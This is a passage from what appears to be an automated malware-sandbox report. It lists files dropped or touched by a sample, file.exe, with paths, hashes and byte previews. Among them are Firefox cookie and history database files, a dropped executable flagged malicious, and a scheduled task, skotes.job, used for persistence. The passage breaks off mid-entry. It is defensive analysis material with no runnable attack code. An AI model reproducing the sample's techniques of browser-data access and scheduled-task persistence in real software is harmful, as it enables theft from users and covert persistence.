Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir7008_963927441\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	962
Entropy (8bit):	5.698567446030411
Encrypted:	false
SSDEEP:	24:1Hg9+D3DRnbuF2+sUrzUu+Y9VwE+Fg41T1O:NBqY+6E+F7JO
MD5:	E805E9E69FD6ECDCA65136957B1FB3BE
SHA1:	2356F60884130C86A45D4B232A26062C7830E622
SHA-256:	5694C91F7D165C6F25DAF0825C18B373B0A81EA122C89DA60438CD487455FD6A
SHA-512:	049662EF470D2B9E030A06006894041AE6F787449E4AB1FBF4959ADCB88C6BB87A957490212697815BB3627763C01B7B243CF4E3C4620173A95795884D998A75
Malicious:	false
Preview:	{.. "content_scripts": [ {.. "js": [ "content.js" ],.. "matches": [ "https://chrome.google.com/webstore/" ].. }, {.. "js": [ "content_new.js" ],.. "matches": [ "https://chromewebstore.google.com/" ].. } ],.. "description": "Edge relevant text changes on select websites to improve user experience and precisely surfaces the action they want to take.",.. "key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu06p2Mjoy6yJDUUjCe8Hnqvtmjll73XqcbylxFZZWe+MCEAEK+1D0Nxrp0+IuWJL02CU3jbuR5KrJYoezA36M1oSGY5lIF/9NhXWEx5GrosxcBjxqEsdWv/eDoOOEbIvIO0ziMv7T1SUnmAA07wwq8DXWYuwlkZU/PA0Mxx0aNZ5+QyMfYqRmMpwxkwPG8gyU7kmacxgCY1v7PmmZo1vSIEOBYrxl064w5Q6s/dpalSJM9qeRnvRMLsszGY/J2bjQ1F0O2JfIlBjCOUg/89+U8ZJ1mObOFrKO4um8QnenXtH0WGmsvb5qBNrvbWNPuFgr2+w5JYlpSQ+O8zUCb8QZwIDAQAB",.. "manifest_version": 3,.. "name": "Edge relevant text changes",.. "update_url": "https://edge.microsoft.com/extensionwebstorebase/v1/crx",.. "version": "1.2.1"..}..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Nov 8 13:20:46 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.972226125592289
Encrypted:	false
SSDEEP:	48:8/0dqTW+fmHjidAKZdA1oehwiZUklqehQy+3:8/BvfP/y
MD5:	43A8A177094E921F7D8A0190AD839785
SHA1:	54E48A856F6ADABD53226A6ADCFE1237B2BC4B0A
SHA-256:	D5947EBECFC1A8F298A3D319DDE038B5C48C0F2D9C73751BA74638E57182554F
SHA-512:	8F4D2AA6F1913649012C71917E3B9EB794F3B532C1A5938087B8E46A6EEC967EFD7BC3E0A1097103F22AD17669824DC368C34E4660D6DEA31D1CC4C644C76F33
Malicious:	false
Preview:	L..................F.@.. ...$+.,....f,`g.1..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW)C..PROGRA~1..t......O.IhY.r....B...............J.....V...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VhY.r....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VhY.r....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VhY.r..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VhY.r...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........j_.......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Nov 8 13:20:46 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.9878968459031277
Encrypted:	false
SSDEEP:	48:8v0dqTW+fmHjidAKZdA1leh/iZUkAQkqehvy+2:8vBvfV9QWy
MD5:	8567589E5057B3813BB6F8925783446C
SHA1:	5FF7F6D53075FF3D7835E54816364841F59DB99E
SHA-256:	7BB3E3E5738D8A5DC156A350ED438569D123C8CB9312022E543DC4211A754BB4
SHA-512:	BD7D01C1F9EF281C9FE04C067B1CF739284796FB1FB75A84D4BC739FE3EFD3E556271737AD478AF806B26AAFB61EE9C97A3844B60C01830CFB834CDEC3047FF2
Malicious:	false
Preview:	L..................F.@.. ...$+.,....6.Dg.1..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW)C..PROGRA~1..t......O.IhY.r....B...............J.....V...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VhY.r....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VhY.r....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VhY.r..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VhY.r...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........j_.......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Oct 5 07:00:51 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2693
Entropy (8bit):	4.000689758703554
Encrypted:	false
SSDEEP:	48:8P0dqTW+fbHjidAKZdA14t5eh7sFiZUkmgqeh7sdy+BX:8PBvfqnLy
MD5:	5FD95277B5C9C5E99D35E2DCA4D0247C
SHA1:	F0056475807CB737F98A6C9D8662B6DE14732EC5
SHA-256:	8D12138188A9DBC159449A259AE0EB5F6BCF91895D4D328DF8D2CB37FE098270
SHA-512:	A5FF781E81D6D7C7D8780C3F1DD287CA6C73B1E972FC723B560FC27BEF43B5EE7C95B3310E3A5DF85815DB48FF7D03810113E7662196F53F079872A7D1739A97
Malicious:	false
Preview:	L..................F.@.. ...$+.,.....C..b...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW)C..PROGRA~1..t......O.IhY.r....B...............J.....V...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VhY.r....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VhY.r....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VhY.r..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VEW.@...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........j_.......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Nov 8 13:20:46 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.9861085847130964
Encrypted:	false
SSDEEP:	48:8X80dqTW+fmHjidAKZdA16ehDiZUkwqehjy+R:8sBvfGVy
MD5:	2DBB74090BC602D8A74904BAEC1CD47B
SHA1:	70FA18A2E7CB2F48A101FAA69ACE8587EF34A109
SHA-256:	9BE227D2DD6D99DB2119B391A72A482AA9BB915DABDC658ED6EE6EFC7B0BF448
SHA-512:	51D866780B24ED0C538D946583D1E7F3A53FF0E7F3A5BE48EF9A4162A2D5D5F32B3832982C8DBA8200479237D152C93A078900862898D6C78A8F8FFE8AE61204
Malicious:	false
Preview:	L..................F.@.. ...$+.,......;g.1..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW)C..PROGRA~1..t......O.IhY.r....B...............J.....V...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VhY.r....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VhY.r....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VhY.r..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VhY.r...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........j_.......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Nov 8 13:20:46 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.975869912301954
Encrypted:	false
SSDEEP:	48:8x0dqTW+fmHjidAKZdA1UehBiZUk1W1qehJy+C:8xBvfG9py
MD5:	5BFFC9D1155301D930160BA63ABD3156
SHA1:	680916F1D70038ED0F7EB6AE82AF5F6C5B0D8F8C
SHA-256:	1EEFAF6271E2436AC320BE3375A387DB65A98079EC508B578DBFF0B4D3E1D689
SHA-512:	894E10A4C1BD651AD33F8B8430A9273CAC7EE96CEBD24B5CB154637106D8A96B22B553917700C818BB08AD9B1946AB56DDF8EA22D36FF9145BA35B4CC2153FCC
Malicious:	false
Preview:	L..................F.@.. ...$+.,....O.Jg.1..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW)C..PROGRA~1..t......O.IhY.r....B...............J.....V...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VhY.r....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VhY.r....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VhY.r..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VhY.r...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........j_.......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Nov 8 13:20:46 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2683
Entropy (8bit):	3.9852942172087578
Encrypted:	false
SSDEEP:	48:8f0dqTW+fmHjidAKZdA1duTrehOuTbbiZUk5OjqehOuTbLy+yT+:8fBvfXTYTbxWOvTbLy7T
MD5:	A7C5E60F63D35868E8C63ADAC610900C
SHA1:	7905565D1CE1E4DD5F9B113C7778634C0C120D2B
SHA-256:	6197C99E4C572D6E7C3DF1F1D1CF2B080E9A1CC2283412E7E77E61337DBD86C0
SHA-512:	E04D053FACC6A8C56B52685E440F32AC3E459085C55309FCD53386D990AAFD3D7A34ED5AC47D0959E6AD6F79F42566DFAFB8266546E148F5A4E2E9F5E967D06C
Malicious:	false
Preview:	L..................F.@.. ...$+.,.....e,g.1..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW)C..PROGRA~1..t......O.IhY.r....B...............J.....V...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VhY.r....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VhY.r....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VhY.r..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VhY.r...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........j_.......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\DocumentsEGHJKFHJJJ.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3283968
Entropy (8bit):	6.614541700768565
Encrypted:	false
SSDEEP:	49152:/C4Wly0+XQ/Z4DmYG9xxx1UU/8dxSleIGlr9edvLoIsnFkitulfDN+:/C4WyfcZ4DmYG3xxWheebkiI
MD5:	3F37F3ED555BA8CB563F1C44D48F7DC0
SHA1:	4E48A0CC1CA64A4ADF0FE130C271E042C8D5CF79
SHA-256:	A604D7F02B52F55CF29DE06B95C46EAB8B3C2026E2572A176820BC5DBEE59551
SHA-512:	4231E1529F2C8D6DEE89ADBD852D2AAF19F14A274262F6D833467DB493F4E713563631F3B12659FC9E2610E9714B6D3DCAE94C206B5FE94C5888B5A8F53F54F2
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f............................. 2...........@..........................P2.....V{2...@.................................W...k.............................2...............................2..................................................... . ............................@....rsrc...............................@....idata ............................@...zfsnmxuo.`+......`+.................@...hrxqujut......2.......1.............@....taggant.0... 2.."....1.............@...........................................................................................................................................................................................................................................................

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\DocumentsEGHJKFHJJJ.exe
File Type:	data
Category:	dropped
Size (bytes):	290
Entropy (8bit):	3.4524300132732195
Encrypted:	false
SSDEEP:	6:bSiPtX7L1UEZ+lX1CGdKUe6tkHs+Zgty0lBtl/3ut0:+CZ7BQ1CGAFBZgtVBX/3ut0
MD5:	1CF6327E2FD81F37BEE33A3FC5F7F253
SHA1:	C20F006A3E45292A129AEFAE13C3FA1A158BD5C8
SHA-256:	AC7E292494E4FA639317E4DFDC2F54307071117A0AAC476964E41C1950C25F73
SHA-512:	5F42D84CA5F327286F8886E5499CC443D01B4E6F1B5BF89B97DFF6EB0055094F89AAD94F31A81DBE74B7CFDFDE27BE65874B1E738D97FAC7AC117059904B64EA
Malicious:	false
Preview:	.....f=.%.J......F.......<... .....s.......... ....................9.C.:.\.U.s.e.r.s.\.h.u.b.e.r.t.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........H.U.B.E.R.T.-.P.C.\.h.u.b.e.r.t...................0...................@3P.........................

Chrome Cache Entry: 489

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (3300)
Category:	downloaded
Size (bytes):	3305
Entropy (8bit):	5.845616074614811
Encrypted:	false
SSDEEP:	96:gd1UliGzjhgvPmtwVi+KZXMlCz4GVuryEffffffL:hLzjhfuVi+6SCz4GVKy2
MD5:	1C6A4587F2722251520A2C13D664E5DD
SHA1:	500DA60B7E1832AAC5DDF291D397DF293DE67336
SHA-256:	A647CBB9070ED8715A7B292005082AA9FE16EBEFDB352D4BE62000F3BD34506E
SHA-512:	D94898C7D918D99E4BC44A784DBF9160A7C180F9FD31ACFBEC27457DBD4E9EA526CB263D8F3DB5451CA83B538E9C546278214D4408377D95351274BE25A0F1DF
Malicious:	false
URL:	https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw
Preview:	)]}'.["",["military veterans day discounts","college football predictions","dbd killer the houndmaster","nintendo switch games","average mortgage rate","whirlwind marriage secret twins","iphone icloud notes disappeared","san francisco 49ers"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"google:entityinfo":"CggvbS8wNnJueRINRm9vdGJhbGwgdGVhbTLGDWRhdGE6aW1hZ2UvcG5nO2Jhc2U2NCxpVkJPUncwS0dnb0FBQUFOU1VoRVVnQUFBRUFBQUFBbUNBTUFBQUJER20yckFBQUE4MUJNVkVYLy8vK3FBQUFBQUFDdUFBQ3hBQUJnQUFDbUFBQitBQUQ4L1B4MUFBQzNvMk4zZlgyQ2dvSjdhVURoNGVHN29HSG41K2VwcWFudzhQQ1NrcEtJQUFDMG5tQ3NPaU52YjI5a1pHUmZYMTloV0RYWTJOZ2RIUjJnQUFCcUFBQ0RBQUNTQUFDdVd6ZFdBQUNsalZaRlJVVzJ0cmF0UkNtemxGcUVjVVVZQUFBL0FBQ3ZhMEdmbjUrdll6eGxiR3pIeDhjT0VCUXNLUlJHUUNWV1RpK2FpbFMzZzFDMmRVZTVqMWNiR2cwbkl4V3RMQnVzSEJFMk1CMTRXVm1IZkh4aUV4

Chrome Cache Entry: 490

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	29
Entropy (8bit):	3.9353986674667634
Encrypted:	false
SSDEEP:	3:VQAOx/1n:VQAOd1n
MD5:	6FED308183D5DFC421602548615204AF
SHA1:	0A3F484AAA41A60970BA92A9AC13523A1D79B4D5
SHA-256:	4B8288C468BCFFF9B23B2A5FF38B58087CD8A6263315899DD3E249A3F7D4AB2D
SHA-512:	A2F7627379F24FEC8DC2C472A9200F6736147172D36A77D71C7C1916C0F8BDD843E36E70D43B5DC5FAABAE8FDD01DD088D389D8AE56ED1F591101F09135D02F5
Malicious:	false
URL:	https://www.google.com/async/newtab_promos
Preview:	)]}'.{"update":{"promos":{}}}

Chrome Cache Entry: 491

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2586)
Category:	downloaded
Size (bytes):	174097
Entropy (8bit):	5.554845848492248
Encrypted:	false
SSDEEP:	3072:49GysOAIZQy3ZZb6L5BfizRURkgq3ocEs7BB19HDKDSfEISlCMDyQhnF/VU9cpar:49G3IZP3ZZmHfiz+R7q3ocV7BB19HDKq
MD5:	292ACC11525E24B0501DEAC4EB7B61D4
SHA1:	4840E1B06489D1210E25C620AC0E4DEA33F4A574
SHA-256:	A5CB759FC6BF64DD1E35731C88899928B098A359EFF9CA5B34B91F23ADE02C2B
SHA-512:	FBDB4B2B4B647F734B6E05D0495CE1135E9536D611BC567A3B47353FEC986B92412153C214EFE776BC6391239076B3DA6B79851C8BE036C00E4AD026F88CC683
Malicious:	false
URL:	"https://www.gstatic.com/og/_/js/k=og.qtm.en_US.ciOLm-Jy21Y.2019.O/rt=j/m=q_dnp,qmd,qcwid,qapid,qald,qads,q_dg/exm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/rs=AA2YrTvi2-a6fPowp_OrDQczHs8e8wA2zQ"
Preview:	this.gbar_=this.gbar_\|\|{};(function(_){var window=this;.try{._.ej=class extends _.Q{constructor(){super()}};.}catch(e){_._DumpException(e)}.try{.var fj,gj,ij,lj,oj,nj,hj,mj;fj=function(a){try{return a.toString().indexOf("[native code]")!==-1?a:null}catch(b){return null}};gj=function(){_.Ka()};ij=function(){hj===void 0&&(hj=typeof WeakMap==="function"?fj(WeakMap):null);return hj};lj=function(a,b){(_.jj\|\|(_.jj=new hj)).set(a,b);(_.kj\|\|(_.kj=new hj)).set(b,a)};.oj=function(a){if(mj===void 0){const b=new nj([],{});mj=Array.prototype.concat.call([],b).length===1}mj&&typeof Symbol==="function"&&Symbol.isConcatSpreadable&&(a[Symbol.isConcatSpreadable]=!0)};_.pj=function(a,b,c){a=_.zb(a,b,c);return Array.isArray(a)?a:_.Kc};_.qj=function(a,b){a=(2&b?a\|2:a&-3)\|32;return a&=-2049};_.rj=function(a,b){a===0&&(a=_.qj(a,b));return a\|1};_.sj=function(a){return!!(2&a)&&!!(4&a)\|\|!!(2048&a)};_.tj=function(a,b,c){32&b&&c\|\|(a&=-33);return a};._.xj=function(a,b,c,d,e,f,g){const h=a.ha;var k=!!(2&b);e=k?1:e;

Chrome Cache Entry: 492

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65531)
Category:	downloaded
Size (bytes):	133690
Entropy (8bit):	5.433134897238015
Encrypted:	false
SSDEEP:	1536:i7C/VNgn7Yp+GhGLhJgJoamyeX43zGiJsKtPLx8OF97f4qlgjCFlOve2dzAcJ82O:fi7vhSJjxeX431PBLx8OF9jzYsci2i6o
MD5:	5F364FC9D7DADEAA9D8402E49F198095
SHA1:	EB1BDB7D007722971CF048837D2B80597B803C71
SHA-256:	53AAE50A6F01EF6935F42A3BC189B324819F2F0D860E80EE22E785CB6FDC3947
SHA-512:	10C15D243970D23A6FE7CD376C60DF3A9924185387B455F000ACE61BA896463DD52B69AB526CA4A54B6313107BB357BE7C79A752C9F4990A8A5C52BC642BD294
Malicious:	false
URL:	https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0
Preview:	)]}'.{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e\u003cdiv class\u003d\"gb_Pd\"\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_kd gb_od gb_Fd gb_ld\"\u003e\u003cdiv class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M3 18h18v-2H3v2zm0-5h18v-2H3v2zm0-7v2h18V6H3z\"\u003e\u003c\/path\u003e\u003c\/svg\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_Jc gb_Mc gb_Q\" aria-label\u003d\"Go back\" title\u003d\"Go back\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M20 11H7.83l5.59-5.59L12 4l-8 8 8 8 1.41-1.

Chrome Cache Entry: 493

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
